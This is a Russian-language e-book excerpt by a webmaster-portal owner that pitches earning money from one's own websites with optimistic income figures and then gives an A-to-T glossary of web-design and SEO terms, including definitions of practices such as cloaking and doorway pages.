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Вступление


Привет! Меня зовут Анатолий Макс

И я очень рад нашей встрече на страницах этой книги.
Что сказать о себе. Мне 25 лет, живу в Украине… а впрочем, вряд ли Вас интересуют личные факты моей биографии:-) Ведь Вы здесь по другой причине, Верно?
Тогда не буду больше занимать Ваше время лишней болтовней. Со мною у Вас еще будет возможность познакомиться.
Устраивайтесь поудобнее у экранов мониторов. Приятного Вам чтения!

Единственная просьба к Вам, уважаемый читатель, — не глотайте информацию не пережеванными кусками. Не спешите, и не забегайте вперед. ВСЕМУ СВОЕ ВРЕМЯ. Хорошо?

С уважением,

руководитель портала www.webmasteruvse.ru

Tolia Max, сайт: http://www.webmasteruvse.ru





Работа в Интернете. Как зарабатывать приличные деньги?


Итак, как начать зарабатывать в интернете и не заниматься ерундой?!

Всё просто!
Подумайте, что такое интернет? Из чего он состоит?
Правильно, из САЙТОВ!

Именно сайты посещают люди. А какие именно — это уже не важно, главное что сайты!

Зарабатывать в интернет нужно на своих сатах!

Если здесь прикинуть и подсчитать, во сколько обходится сайт его хозяину, то можно увидеть, что за 1 год работы потребуется заплатить определённую сумму денег.
Она будет разной, в зависимоти какой хостинг и домен, сколько выделено дискового пространства…

Читайте внимательтно, что написано тут ниже:
— домен стоит денег (10–25$ в год)
— хостинг стоит денег (от 10$ в год)
— дизайн стоит денег
— скрипты стоят денег
— прграммы стоят денег
НО есть одно но,(за хостинг и домен лучше заплатиь сразу) а вот программы и скрипты можете скачать уже бесплатные на webmasteruvse.ru
Всё это имеет отношение к нормальным сайтам с доменом второго уровня (www.всёчтоугодно. ru), а не к страничкам на бесплантом хостинге от «народа» (narod.ru)

Cодержание сайта тоже стоит от 20$ до 200$ в год(это вообще примерные цифры!)!
И эти расходы платить себе в убыток никто не собирается!
поэтому САЙТЫ САМИ СЕБЯ СОДЕРЖАТ И ОКУПАЮТСЯ!
Только вот другой вопрос КАК? Но об этом чуть попозже:)

Если у вас будет несколько сайтов (от 5 и выше), то они и будут вам служить источниками хорошего дохода очень долгое время, т. е. пока интернет не закроют:)

Вы считаете это не серьезно? Или вы считаете что вам это не под силу? Ошибаетесь!
Позвольте вам пояснить некоторые моменты и вы поймете что создать не сложный сайт — не сложнее чем освоить Microsoft Word.

Во многих бизнес-пакетах по заработку в интернете от вас также потребуется создание своего сайта!
Даже если вам об этом не говорят (не хотят вас пугать).
Из сайтов состоит интернет.
И вам все равно прийдется учиться делать сайты, если вы действительно хотите зарабатывать в интернете.
Иначе… иначе вам прийдется иметь дело с лохотронами в поисках легкого заработка с которыми уж поверьте мне — вы ничего не заработаете. Я уже через это прошел!
Поверьте тому что я вам рассказал. От этого будет зависить как скоро вы начнете зарабатывать, а не метаться и терять время, пробуя то одно, то другое или попадая в руки мошенников.

Почему я предлагаю вам начать зарабатывать деньги именно на сайтах?
Этот бизнес требует минимальных вложений для старта. Вам понадобиться несколько программ, которые вы можете скачать на. webmasteruvse.ru. Желательно потратиться на домен для сайта, это будет стоить 2.5-10$ (или от 17$ для ru-домена), но НЕ ОБЯЗАТЕЛЬНО. Желательно купить платный хостинг (от 1$ в месяц), но тоже НЕ ОБЯЗАТЕЛЬНО. Даже если сложить возможные затраты — получаться просто копейки. по сравнению с тем, сколько требуется денег для создания бизнеса в реальной жизни, хотя бы лотка по продаже овощей. На одну лишь регистрацию предпринимателем вы потратите больше денег!
Этот бизнес является нелинейным.
Создав хороший ресурс — вы будете долгое время получать от него ДОХОД БЕЗ ВАШЕГО УЧАСТИЯ.
Вы можете заниматься другой работой или отдыхать, а ваш САЙТ БУДЕТ ГЕНЕРИРОВАТЬ ДЕНЬГИ НА АВТОПИЛОТЕ!
Даже когда вы спите! Разве не о такой работе вы мечтали?

Этот бизнес доступен каждому и не требует от вас каких-либо колоссальных усилий.
Сколько можно заработать?

Многое будет зависеть от вас. Так например сайт с 200 посетителями ежедневно, будет приносить вам не менее 150 $ дохода ежемесячно! А если у вас 1000 посетителей в день?
Вы можете зарабатывать от 750 $ ежемесячно
А если у вас несколько сайтов, например 5? Считайте сами.
Не буду писать эти страшные цифры, потому что скорей всего вы не верите в заработок даже в 100$ в месяц.
И все это — на автопилоте!!!
— Не выходя из дома!
— Не вскакивая рано утром!
— Вы можете планировать сами свое время!
— Вы сами решаете когда вам отдыхать и взять отпуск!

Именно этому и СЛЕДУЕТ УЧИТСЯ!
Вам не хочется учиться ничему новому?

А как вы хотели бы зарабатывать? Зарабатывать много и ничего не умея? Нет. Так дело не пойдет.
ЧТОБЫ ЗАРАБАТЫВАТЬ БОЛЬШЕ ЧЕМ ДРУГИЕ — НАДО УМЕТЬ ДЕЛАТЬ ТО, ЧТО НЕ УМЕЮТ ДРУГИЕ!
Вы не против бы учиться, но вам хочется быстрых денег и сразу?
:) Чудес не бывает. Если вы еще верите в сказки — купите в интернете бизнес-пакет из серии «Заработай 1000 $ за первый месяц или миллион за год». Возможно снимите «розовые очки».



Толковый словарь терминов по cозданию и раскрутке сайтов


— A —
Автоматизация сайта. Создание программных решений, позволяющих владельцу сайта самостоятельно управлять содержимым и параметрами работы этого сайта.
Авторизация. (Аuthorization) — предоставление полномочий на выполнение определенных действий в системе обработки данных на удаленном сервере. Процедура проверки на подлинность пароля или сочетания логического идентификационного имени и пароля, введенных пользователем в какую-либо интерактивную форму.
Административная система. (Management system) — система, обеспечивающая управление веб-узлом либо его частью. Осуществляет также контроль доступа и защиту от несанкционированного вторжения.
Адрес страницы. (URL — Uniform Resource Locator) — данные, точно определяющие логический адрес сайта или страницы в Интернете. Использование ключевых слов в URL может, говорят, улучшить рейтинг сайта в поисковых системах, но это мнение уже давно устарело.
Алиас. Альтернативное доменное имя сайта, при помощи которого можно выйти на сайт точно также, как и при помощи основного имени.
Альтернативный текст. Текст, который отображается вместо графического объекта в броузерах, не поддерживающих графику, а также в броузерах, поддержка графики в которых отключена пользователем.
Анимация. Изменение во времени визуального представления графического элемента. Поэтому она может быть эффективно использована для иллюстрации сложных процессов, протекающих во времени. Например, для демонстрации какого-либо оборудования в действии. К использованию анимации предъявляются особые требования поскольку в других случаях она скорее мешает, чем помогает восприятию, т. к. быстро утомляет зрение и мешает сосредоточиться.
Аплет. Независимое приложение, написанное на языке Java и предназначенное для включения его в html-документ в качестве элемента web-страницы.
Аплоад. (Upload) — процесс загрузки файлов на удаленный компьютер.
Архитектура сайта. Систематизация информации и навигации по ней с целью помочь посетителям более успешно находить нужные им данные. Хорошо продуманная грамотная архитектура сайта гарантирует, что пользователи потратят меньше времени на поиск нужной информации.
Атрибут тега. Параметр, соответствующий каждому конкретному тегу.
Аудитория (веб-сайта). (Аudience) — общее обозначение посетителей веб-узла. Объем аудитории является характеристикой успеха Интернет-проекта.
Аутентификация. Процесс идентификации участвующей стороны.
— Б —
Баги. (Bugs) — ошибки, дефекты.
База данных. (database) — совокупность данных, организованных по определенным правилам, предусматривающим общие принципы описания, хранения и манипулирования, независимая от прикладных программ. Является информационной моделью предметной области. Обращение к базам данных осуществляется с помощью системы управления базами данных (СУБД).
Бан. Жаргонное выражение вебмастеров, происходит от английского ban — запрещать, означает способ наказания поисковой машиной за применение спаммерских приёмов, который состоит в запрещении сайта к индексации и удалению его из базы. Какие бы усилия ни были вложены в оптимизацию сайта, после бана ни одного посетителя из данной поисковой системы не придёт. Восстановление в индексе не гарантированно, обычно требует личной переписки с разработчиками и в любом случае занимает длительное время.
Баннер. (Banner) — изображение или текстовый блок рекламного характера, являющийся гиперссылкой на страницы с расширенным описанием продукта или услуги. Баннеры размещают на различных интернет-ресурсах для привлечения посетителей, формирования имиджа или продвижения этого ресурса. Баннеры делятся на графические и текстовые.
Баннерная сеть. объединение сайтов, на страницах которых на определенных условиях размещаются баннеры участников, также баннеры компаний, оплативших размещение своего баннера владельцу баннерной сети.
«Бизнес для бизнеса». (Business-to-business), B2B — сектор рынка, ориентированный на организацию работы с контрагентами и партнерами в процессе производства и продажи товаров или услуги. В данный сектор входят все торговые отношения между различными фирмами, организация поставок, продаж, согласование контрактов и планов. Под системами В2В понимают: 1) Procurement Systems — системы связи потребителей продукции с производителями, покупателей с продавцами. Как правило, в этих системах покупателями и продавцами выступают юридические лица и, как правило, существуют в той или иной мере развитые бэк-офисные системы. 2) Supply Chain Management — обеспечивает предприятию бесперебойную информацию о поставках и логистику всех контрагентов для основного производства. Обычно предприятия начинают свою деятельность в секторе В2В с создания собственного вертикального портала.
«Бизнес для потребителя». (Business-to-customer), B2C — сектор рынка, ориентированный на работу с потребителями товаров или услуги. В сектор В2С входят электронные магазины, организации, торгующие продукцией через Интернет непосредственно для потребителей др.
Бизнес-решение (в Интернет). (Business solutions) — система, обеспечивающая функционирование бизнеса, вся деятельность которого основана на интернет-технологиях (порталы, каталоги, интернет-СМИ, электронные магазины, электронные аукционы и др.).
Брандмауэр. (Firewall) — барьер, запрещающий доступ к защищаемой сети всех протоколов, кроме разрешенных.
Браузер. Программа просмотра, browser. Программа, установленная на компьютере пользователя и позволяющая просматривать документы в определённых форматах (html, xml и др.). Программа позволяет ввести в поле адреса URL сайта и, при наличии соединения с Интернетом, получить указанную страницу с веб-сервера. В броузер встроен транслятор языка разметки гипертекста, компилирующий html-код в процессе открытия web-страницы.
Брэнд. (Brand) — защищенный законодательно продукт, компания (её название) или концепция, выделенные общественным сознанием массы себе подобных. Набор идентификаторов, позволяющих потребителю отличить товар конкретного производителя. Кроме того брэнд включает в себя еще и отношение потребителей к торговой марке, то, что принято называть «брэнд имидж». В переводе с английского «to brand» означает «оставлять неизгладимое впечатление».
Брэндинг. область системы маркетинговых коммуникаций, занимающаяся разработкой фирменного стиля, его элементов, формированием уникального имиджа фирмы, отличающего ее от конкурентов.
— В —
Веб. (WWW, World wide web, Web) — сервис сети Интернет, позволяющий получать доступ к массивам информации, размещеннным в глобальной сети. Удобство пользования Веб обеспечивает гиперсреда, наглядность — интерактивные мультимедийные средства.
Веб-дизайн. Частный случай промышленного дизайна. Вид художественно-проектной деятельности, направленный на создание и обеспечение удобства использования веб-ресурсов.
Веб-документ. Текстовый файл с расширением. html или. htm
Веб-кольцо. Сайты сходной тематики, объединенные взаимными ссылками. При одном из вариантов организации, веб-кольцо имеет в своем составе «головной» ресурс с размещенной на нем базой данных участников. На сайтах участников при этом размещаются ссылки не на другие сайты, а на эту базу. Эффективный инструмент для поиска информации и продвижения контент-ресурсов.
Веб-сайт. (web site) — совокупность веб-страниц, объединенных по смыслу, имеющих общую структуру и навигацию.
Веб-сервер. (Сервер WWW) — сервер, предназначенный для представления взаимосвязанной мультимедийной информации и содержимого баз данных в Интернет.
Веб-страница. (WWW page) — документ, снабженный уникальным адресом, который можно открыть и посмотреть с помощью броузера. Страницы составляют WWW. Как правило, это мультимедийные документы, включающие текст, графику, звук, видео или анимацию, па также гиперссылки на другие документы. Как и всякий документ веб-страница должна иметь заголовок, который заключается между двумя составляющими тега HEAD. Заголовок (не путать с названием — TITLE) включает в себя название документа, а также заголовочные и выходные данные.
Веб-узел коммерческий. Виртуальное представительство коммерческой компании в сети Интернет.
Вендор. (vendor) — оптовая фирма, предлагающая товар, в том числе в Интернете.
Верификация. (Verification) — установление соответствия принятой и переданной информации с помощью логических методов. Проверка информации на истинность, теоретической концепции на научность.
Вес ключевого слова. (keyword weight) — отношение частоты использования ключевого слова к общему количеству слов на индексируемой странице, выраженное в процентах. В общем случае, увеличение веса ключевого слова на странице ведет к повышению ее релевантности. Но существует предел, превышение которого расценивается как спам и ведет к исключению страницы из индекса.
Видеоконференция. (Video conferencing) — методология проведения совещаний и дискуссий между группами удаленных пользователей с исполнением трансляции изображения в среде Интернет.
Виртуальная реальность. (Virtual reality) — технология информационного взаимодействия, реализующая с помощью комплексных мультимедиа-операционных сред иллюзию непосредственного вхождения и присутствия в реальном времени в стереоскопически представленном «экранном мире». Мнимый мир, создаваемый в воображении пользователя.
Виртуальное предприятие. (Virtual corporation) — сообщество географически разделенных работников, которые взаимодействуют в процессе труда, используя в основном или исключительно электронные средства коммуникаций.
Виртуальный офис. (Virtual office) — интернет-ресурс, или его часть, позволяющие географически разобщенным сотрудникам компании, взаимодействовать посредством единой системы для обмена, хранения, обработки и передачи информации и управляющих воздействий.
ВИЦ. Взвешенный индекс цитирования (ИЦ) Яндекса, учитывающий число страниц, ссылающихся на сайт, и собственный ВИЦ этих страниц. Рассчитывается для каждой страницы в базе Яндекса. Обновляется два раза в неделю. Является одним из факторов, влияющих на положение страницы в результатах поиска Яндекса.
Владелец информации. (Оwner of information) — субъект, в непосредственном ведении которого в соответствии с законом находится информация.
Входная страница. Входная страница — страница сайта, оптимизированная под одну или несколько поисковых фраз с целью попадания на высокие места в результатах поиска. Автоматически созданный дорвей содержит случайный текст, в котором периодически встречается нужная поисковая фраза, и потому не приносит посетителю никакой пользы. Созданный вручную дорвей может быть осмысленной страницей по узкой теме, полезной и нужной пользователю.
— Г —
Гамма-коррекция. Алгоритм управления яркостью изображения, позволяющий добиться идентичности отображения графики на экранах компьютеров разных производителей.
Генеральная общедоступная лицензия. (GNU, the General Public License,) — лицензия, по которой в Интернете распространяется практически все бесплатное программное обеспечение.
Гиперсреда. (Hypermedia) — технология представления любых видов информации в виде относительно небольших блоков, ассоциативно связанных друг с другом посредством гипертекстовых технологий.
Гиперссылка. (Hyperlink) — выделенный объект (текст или изображение) веб-страницы, устанавливающий связь с другим объектом. Обеспечивает навигацию в среде WWW.
Гипертекст. (Hypertext) — документ, содержащий гиперссылки на блоки текста внутри самого документа или на другие документы. Слова и фразы гипертекста обычно имеют голубой цвет и подчеркнуты. Это позволяют читателю легко перемещаться от одного документа (страницы) к другому.
Главная страница. (Home page) — первая страница веб-узла, которая появляется на терминале после загрузки программы броузером. Как правило, несет основную презентационную и навигационную нагрузку.
Гостевая книга. Раздел web-сайта, снабженный специальной интерактивной формой, с помощью которой посетители данного ресурса могут оставить свои пожелания и предложения разработчикам или владельцам ресурса.
— Д —
Данные. (data) — информация, представленная в формализованном виде, пригодном для автоматизированной обработки.
Данлоад. (download) — процесс копирования файлов с удаленного сетевого компьютера (сервера) на вызывающий компьютер (клиент). На общепринятом техническом жаргоне эту процедуру называют иногда «скачиванием».
Дизайн. (design) — вид художественно-проектной деятельности, сочетающей принципы удобства, экономичности и красоты. Каждый элемент дизайна согласуется с текстурой, фактурой и цветом с другими элементами и внешней средой.
Динамический дизайн. Метод компоновки сайта, при котором его элементы изменяют свое положение в зависимости от экранных настроек пользователя.
Динамический контент. (dynamic content) — переменная информация на веб-странице, изменяемая либо пользователем, либо загружаемая из базы данных. Поисковые роботы будут индексировать переменную информацию так же, как и статичную, до знака '?'
Директ Хит. (Direct Hit) — программа, определяющая релевантность сайтов по количеству посещений и времени, проведенного на них пользователями. Используется в системе HotBot для ранжирования результатов поиска. Дополнительная информация на сайте
Домашняя страничка. (homepage) — ресурс Интернета, обычно представляющий собой рассказ о человеке, его семье, образе жизни, хобби и увлечениях.
Домен. От английского domain — зона(сети), область(сети), имя(в сети). В Интернет домены определяются IP-адресами. Считается, что все устройства, «делящие между собой» общую часть IP-адреса, находятся в одном и том же домене.
Доменное имя (DNS-адрес). адрес веб-ресурса в сети Интернет. Содержит буквы, которые разделены точками на отдельные информационные блоки. На последнем месте в DNS-адресе стоит домен первого уровня. Имя домена первого уровня может отражать географическое положение сервера либо тематику предоставляемой информации. Домен второго уровня выбирается организацией — хозяином веб-узла. Использование заглавных букв вместо строчных не меняет имени домена. WebMonitor.ru и webmonitor.ru — это допустимые формы одного и того же имени. Использование заглавных букв часто применяется в рекламных целях.
Дорвей. Жаргонизм от английского doorway (входная дверь, портал). Означает то же, что и Входная страница.
— З —
Забанить. Жаргонизм, означает — удалить из индекса поисковой машины за применение спаммерских приёмов. См. Бан.
Заголовки. (H1…H6) — форматирующие тэги, применяемые для выделения заголовков и подзаголовков текста. Размещение текста, содержащего ключевые слова, в заголовках повышает релевантность страницы в поисковой системе по этим словам.
— И —
Индекс. База данных поисковой машины, так называемый инвертированный индекс. Обычно напоминает индекс терминов, применяемый в учебниках и научных изданиях. Содержит словарь слов, встречающихся на интернет-страницах, с приписанными к ним списками адресов интернет-страниц, содержащих эти слова. Служит для поиска страниц с вхождениями заданных ключевых слов. Индекс пополняется поисковым роботом во время периодических обходов Интернета.
Индекс цитирования. (link popularity) — количество сайтов, которые ссылаются на данный сайт. Многие поисковые системы учитывают этот показатель при ранжировании результатов поиска.
Индексирование. Процесс обхода страниц сайта и помещения их в базу поисковой машины. Только после индексации страницы она может быть найдена в поисковой машине.
Интернет каталог. Каталоги, Интернет-каталоги — это большие сайты справочно-информационного характера, на которых пользователи могут найти сайты нужной тематики. Между каталогами и поисковыми системами есть существенные различия (основное — в каталоге пользователь сам ищет нужный ресурс, выбирая рубрики, это не всегда удобно, т. к. часто логика посетителя каталога отличается от логики, применяемой к распределению сайтов по тематике. В поисковой же системе необходимо лишь сделать запрос и вы получите уже отобранные по теме ссылки на тематические ресурсы).
ИЦ. Количество доменов, ссылающихся на сайт, рассчитанное по технологии компании Яндекс. Из общего числа доменов, как правило, исключаются ссылки с сайтов, расположенных на бесплатных хостингах, ссылки из гостевых книг, форумов, ряда каталогов. Влияет на положение сайта в каталоге Яндекса. Обновляется еженедельно.
— К —
Карта сайта. (Site map) — Страница сайта с полной его навигацией. Рекомендуется, чтобы с карты сайта до любой страницы (в идеале) или до каждого раздела можно бы было добраться одним кликом.
Карта ссылок. (image map) — графическое изображение, области которого являются гиперссылками. Если страница целиком представляет собой одну-единственную карту ссылок, поисковые системы могут не определить страницы, на которые ссылаются области карты. Выходом является размещение на такой странице дублирующих текстовых ссылок. Карта ссылок теперь повсеместно на сайтах заменяется Каталогом ссылок.
Каталог. (directory) — специализированный сайт, представляющий собой систематизированную по тематическому принципу коллекцию ссылок на другие сайты. Примеры: Яндекс, Рамблер, Апорт, Спайлог, Мэил, Гугль, Хотлог, Yahoo, Open Directory, LookSmart, Snap и многие другие.
Клик. Нажатие мышкой. Переход посетителя сайта по текстовой ссылке или баннеру.
Клоакинг (маскировка). Происходит от английского to cloak (маскировать). Способ работы веб-сервера, когда пользователь, приходящий на страницы сайта, видит одно содержимое, а поисковая машина — другое. Реализуется с помощью отслеживания IP-адресов поисковых роботов и выдачи им другой информации. Клоакинг позволяет скрыть спам, благодаря которому страница находится высоко в результатах поиска, и выдать пристойное содержание пользователям. Обнаружение клоакинга в большинстве случаев приводит к занесению сайта в «чёрный список» поисковой системы и полному прекращению его индексации.
Ключевое слово. (keyword) — слово, или фраза, которую вы вводите в форму поиска, когда ищете информацию по интересующей вас теме. Синоним: запрос.
Ключевые слова. (meta keywords tag) — мета тэг в заголовке страницы, в котором перечисляются альтернативные ключевые слова — синонимы, транслитерации, перевод. Альтернативные ключевым словам, которые используются в тексте (body) страницы. Значение этого тэга в последние годы все меньше.
Конверсия. Отношение числа посетителей, воспользовавшихся предлагаемой на сайте услугой, к числу пользователей, пришедших на сайт. Также может идти речь об отношении числа посетителей сайта, воспользовавшихся предлагаемой на сайте услугой, к числу пользователей, увидевших рекламу сайта, либо услуги.
Конкуренция по ключевым словам. Конкуренция предполагает выход на первые места в поисковых системах по заданным ключевым словам для привлечения потенциальных клиентов.
Контекстная реклама. Реклама, содержание которой зависит от запроса пользователя к поисковой системе. Так как подобная реклама показывается только тем, кто целенаправленно ищет информацию на тему запроса, её эффективность намного выше обычной. CTR контекстной рекламы составляет 3–4 %, но нередко достигает и 30–40 %. Подобная реклама обеспечивает лучшую конверсию посетителей в покупателей.
Контент. От английского content — содержание. Контент это информация на сайте, любой связный и осмысленный текст. Простой набор слов, даже ключевых, контентом не является.
Кроулер. (crawler) — cм. Паук. Поисковый робот, индексирующий страницы.
— М —
Мета-теги. Специальные указания для поисковой машины, находящиеся в тексте страниц, но не отображаемые пользователю в браузере. Чаще всего используют мета-теги Keywords и Description. Первый включает список ключевых слов, которым соответствует страница, а второй — её краткую аннотацию. Все мета тэги располагаются в заголовке страницы — между открывающим и закрывающим дескрипторами (head) и (/head). Не надо путать заголовок страницы (head) с заголовками текста (h1…h6). Считается, что современные поисковики не придают серьёзного значения мета-тегам при ранжировании страниц.
Модератор. Пользователь или штатный сотрудник форума или чата, имеющий право наказывать и поощрять других пользователей в местах общения в соответствии с правилами данного сообщества, и отвечающий за порядок на всем форуме (чате) или его части. Наказание, как правило, бывает двух видов: предупреждение и отключение (запрет пользоваться форумом/чатом). Также существуют модераторы каталогов и поисковых машин, в задачу которых входит следить за отсутствием в списках сайтов порносайтов, «накрутчиков», и так далее. Существуют также модераторы почтовых систем, основной задачей которых является борьба с почтовыми спаммерами.
Мост-страница. (bridge page) — см. Входная страница сайта.
— Н —
Непотистский спам. Простановка ссылок исключительно для учёта их поисковыми серверами и увеличения таким образом значений ссылочной популярности (в разных её модификациях), с целью повлиять на положение сайта в результатах поиска.
— О —
Обмен ссылками. Предоставление своей ссылки в сиcтему обмена ссылками с тематическими сайтами с целью повышение индекса цитируемости вашего сайта.
Обмен статьями. Новый перспективный способ обмена контентом с целью повышения поисковой эффективности. Предоставление своей специально подготовленной рекламной статьи в систему обмена позволяет обмняться и контентом и ссылками одновременно. Рекламные статьи располагаются на отдельных страницах, оптиминизированных под тематику статьи с помощью мета-тэгов. Статья подготавливается размером 600–800 слов с высокой плотностью ключевых слов, содержит около 10–15 ссылок на различные разделы и страницы рекламируемого сайта.
Описание страницы. (meta description tag) — мета тэг в заголовке страницы, в который заносится краткая аннотация содержания. Некоторые поисковые системы отображают описание в результатах поиска, точная и корректная аннотация привлекает посетителей. Есть системы, которые игнорируют данный тэг. (Например, Яndex игнорирует описание, если страница подается на позиционирование (submit, add URL, «добавить URL») вручную, но отображает, если страница проиндексирована по ссылке.)
Оптимизация страниц. Поисковая оптимизация страниц сайта (Search Engines Optimization) с целью получения высоких мест в результатах поиска по заданным запросам.
Оптимизация архитектуры сайта. Изменение текущей навигации и систематизации информации на сайте с целью обеспечить посетителям успешно нахождение нужных им данных, увеличения посещаемости сайта, создания и увеличения ядра постоянной аудитории. Хорошо продуманная грамотная архитектура сайта гарантирует, что пользователи потратят меньше времени на поиск нужной информации, что позиционирует сайт как удобный в использовании и делает бизнес более успешным.
— П —
Паук. (spider) — программное обеспечение, которое посещает сайты и индексирует их страницы. Поисковые системы используют «пауков» для пополнения своих баз данных. Паука AltaVist’ы зовут «Скутер» (Scooter), для Excite’a работает «Ткач» (ArchitextSpider), а робота Northern Light кличут «Гулливер» (Gulliver).
Плата за клик. (pay per click search engine) — существуют поисковые системы, в которой положение вашей ссылки в листе ответов зависит от того, сколько вы собираетесь платить за каждого посетителя, пришедшего на ваш сайт с данной системы. В забугорном инете это GoTo, ePilot, Kanoodle и некоторые другие. В Рунете — «Бегун».
Плотность ключевого слова. (keyword frequency) — Показатель, учитывающий, не только сколько раз встречается ключевое слово на странице, но и как часто оно используется в определенном объеме текста. «Перебор» по плотности может быть расценен поисковой системой как спамдексинг, и страница может быть исключена из индекса.
Позиционирование в поисковой системе. (search engine placement) — действия, предпринятые с целью обеспечить попадание сайта на первые позиции в листах ответов поисковой системы. Синоним: оптимизация сайта.
Поисковая машина. Также поисковая система, поисковик, искалка — программно-аппаратный комплекс, предназначенный для осуществления поиска в Интернете и реагирующий на запрос пользователя, задаваемый текстовой фразой, выдачей набора ссылок на страницы и сайты, соответствующего запросу (по мнению поисковой машины).
Поисковая оптимизация. Также продвижение сайта, также «раскрутка» сайта, оптимизация сайта, поисковая оптимизация, SEO — набор действий по изменению сайта и элементов внешней среды с целью получения высоких мест в результатах поиска по заданным запросам.
Поисковый робот. Программа, являющаяся составной частью поисковой машины, и предназначенная для обхода страниц Интернета с целью занесения их в базу поисковика. Порядок обхода страниц, частота визитов регулируется алгоритмами поисковой машины. Запретить индексацию всего сайта или его части можно с помощью файла robots.txt, содержащего инструкции для поисковых роботов.
Поисковый спам. Различные методы обмана поисковиков и их посетителей, с целью повышения ранга страницы в результатах поиска. Различные поисковики имеют разные определения того, что считать спамом; наиболее общее определение гласит «поисковый спам» — это любые приёмы или тексты, рассчитанные только на роботы поисковых машин, а не предназначенные для «живого» посетителя.
Показ. Просмотр страницы пользователем. Если речь идет о рекламных показах, то подразумевается демонстрация ссылки или рекламного баннера пользователю, включая многократный показ, вследствие перезагрузки страницы. Существует также понятие уникального показа — количество уникальных пользователей, просмотревших страницу или рекламный материал.
Положение ключевого слова на странице. (keyword prominence) — показатель, учитывающий, как близко к началу страницы находится заданное ключевое слово. Как правило, чем ближе к началу страницы встречается слово запроса, тем релевантнее считается данная страница по данному слову, но бывают и исключения.
Популярные запросы посетителей. Наиболее частые запрос пользователей, слова и словосочетания, фразы, задаваемые пользователями Интернет поисковым машинам в целях нахождения нужной информации.
Портал. Тоже что и сайт, ресурс, Интернет-проект — дословно «узел сети».
Посещаемость (сайта, ресурса, портала, страницы, Интернет-проекта). Количество посещений сайта за определенный период времени с учетом уникальных посетителей.
Постоянная аудитория. Некоторая постоянная группа людей (ядро аудитории), которые периодически возвращаются на ваш сайт, чтобы изучать его снова и снова. Самые верные и желаемые посетители.
Продвижение. Также поисковая оптимизация сайта, также «раскрутка» сайта, оптимизация сайта, Search Engines Optimization (SEO) — набор действий по изменению сайта и элементов внешней среды с целью получения высоких мест в результатах поиска по заданным запросам.
Промоутер. Индивидуум или компания, занимающиеся продвижением сайта в Интернете.
Прямая ссылка. Это внешняя ссылка, которая непосредственно ведет на ваш сайт и которую учитывает поисковый робот.
— Р —
Раздел сайта. Раздел сайта, как правило, группирует информацию общей или схожей тематики. В некоторых случаях раздел может состоять только из одной страницы.
Ранг (важность) страницы. Алгоритм расчёта авторитетности/важности страницы, а также сам показатель авторитетности в численном выражении.
Ранжирование. Процесс выбора страниц из базы поисковой машины, соответствующих запросу пользователя, и упорядочение их по степени убывания соответствия (релевантности) запросу.
Раскрутка. Также поисковая оптимизация сайта, также «продвижение» сайта, оптимизация сайта, Search Engines Optimization (SEO) — набор действий по изменению сайта и элементов внешней среды с целью получения высоких мест в результатах поиска по заданным запросам.
Редирект. От английского redirect (перенаправление). Программное решение или скрипт, который принудительно перенаправляет пользователя с выбранной страницы на другую страницу, возможно, не соответствующую интересам пользователя.
Результаты поиска. Также SERP (search engine result page). Страница, выдаваемая поисковой системой в качестве ответа на запрос пользователя, и содержащая набор ссылок на страницы Интернета, соответствующие, по мнению алгоритма поисковой машины, заданному запросу (релевантные ему).
Релевантность. От английского relevant — относящийся к делу. Обозначает соответствие найденного документа запросу, сделанному пользователем поисковой системы.
Ресурс. Тоже что и сайт, портал, Интернет-проект— дословно «узел сети».
Робот. (robot) — то же, что и Паук в области сбора информации для поисковых систем. В другом контексте — программное обеспечение, используемое для посещения сайтов с целью сбора почтовых адресов для спама.
Рунет. Русский Интернет. Как правило, этот термин используется для обозначения множества сайтов, находящихся в доменной зоне. ru. В связи с развитием национальных доменных зон, им можно обозначить также множество сайтов, для которых русский язык является основным, либо одним из основных. В более широком смысле обозначает не только сами сайты, но также технические средства (серверы, каналы и т. д.), используемые для их поддержки, а также людей, так или иначе с ними связанных — администраторов, сотрудников компаний, поддерживающих сайты, пользователей.
— С —
Сайт. От английского site — дословно «узел сети».
Семантический анализ. Это логический анализ деятельности фирмы для создания семантического ядра с целью привлечения целевых клиентов.
Семантическое ядро. Семантическое ядро — это библиотека слов и фраз, которые наиболее точно характеризуют и отражают вид Вашей деятельности либо товары/услуги, предлагаемые Вами на рынке.
Скрытый текст. (hidden text) — текст, «видимый» поисковому роботу, но невидимый для читателя. Цвет текста совпадает с цветом фона. Главным образом применяется для повышения частоты ключевых слов на странице без нарушения ее дизайна. Страницы со скрытым текстом, как правило, исключаются поисковыми системами из индексов.
Словоформа. Одна из косвенных форм слова, полученная из нормальной формы слова (то есть, из именительного падежа существительного, неопределённой формы глагола) с помощью склонения или спряжения, например, «стол — > стола, столу, столом, столе, столы, столов…», «мебель — > мебели, мебелью» и так далее). Для русского слова количество словоформ довольно велико — от двенадцати у обычного существительного до 80-100 у глагола.
Спам, спамминг. (spamming) — Использование техник, приводящих к искажению и ухудшению результатов ответов поисковой системы на запросы пользователей. Примеры: оптимизация по ключевым словам вне связи с контентом, скрытый текст и множество других. Называется также спамдексинг. В ином значении, спам — это рассылка незапрашиваемых адресатом почтовых сообщений.
Спамдексинг. (spamdexing) — спам поисковых систем.
Ссылающийся (сайт, ресурс, портал, страница, Интернет-проект). Сайт, разместивший ссылку на ваш ресурс, увеличив тем самым Индекс Цитирования на ваш сайт.
Ссылочная популярность. От английского link popularity. Общее название технологий, позволяющих, при расчёте релевантности документа определённому запросу, учитывать авторитетность документа — наличие в Сети ссылок на этот документ или домен, на котором он находится, и текст этих ссылок. Существует несколько реализаций ссылочной популярности, применяемой различными поисковыми системами — PageRank (Google), ВИЦ и тИЦ (Яндекс), ИЦ (Апорт). Как правило, во всех существующих модификациях учитывается также ссылочная популярность доменов или документов, ссылающихся на данный домен или документ.
Стоп-слова. Служебные единицы языка, не несущие самостоятельной смысловой нагрузки. К ним относятся предлоги, союзы, междометия и т. д. Как правило, удаляются поисковой машиной из образа индексируемой страницы с целью снижения нагрузки на поисковый сервер и уменьшения размеров индекса. При обработке запроса пользователя стоп-слова также удаляются из запроса. У каждой поисковой машины обычно имеется свой собственный набор стоп-слов. К стоп-словам могут относиться и просто слишком часто встречающиеся в Интернете служебные последовательности знаков, например, http, www,com.
— Т —
тВИЦ. Тематический ВИЦ. Взвешенный индекс цитирования Яндекса, рассчитанный с учётом соответствия тематики сайтов, ссылающихся на данный, тематике данного сайта. Алгоритм применения не раскрывается. В последнее время, в связи с повальным автоматизированным обменом ссылками, влияние различных типов Индексов Цитирования на результаты выдачи поисковиков очень незначительно.
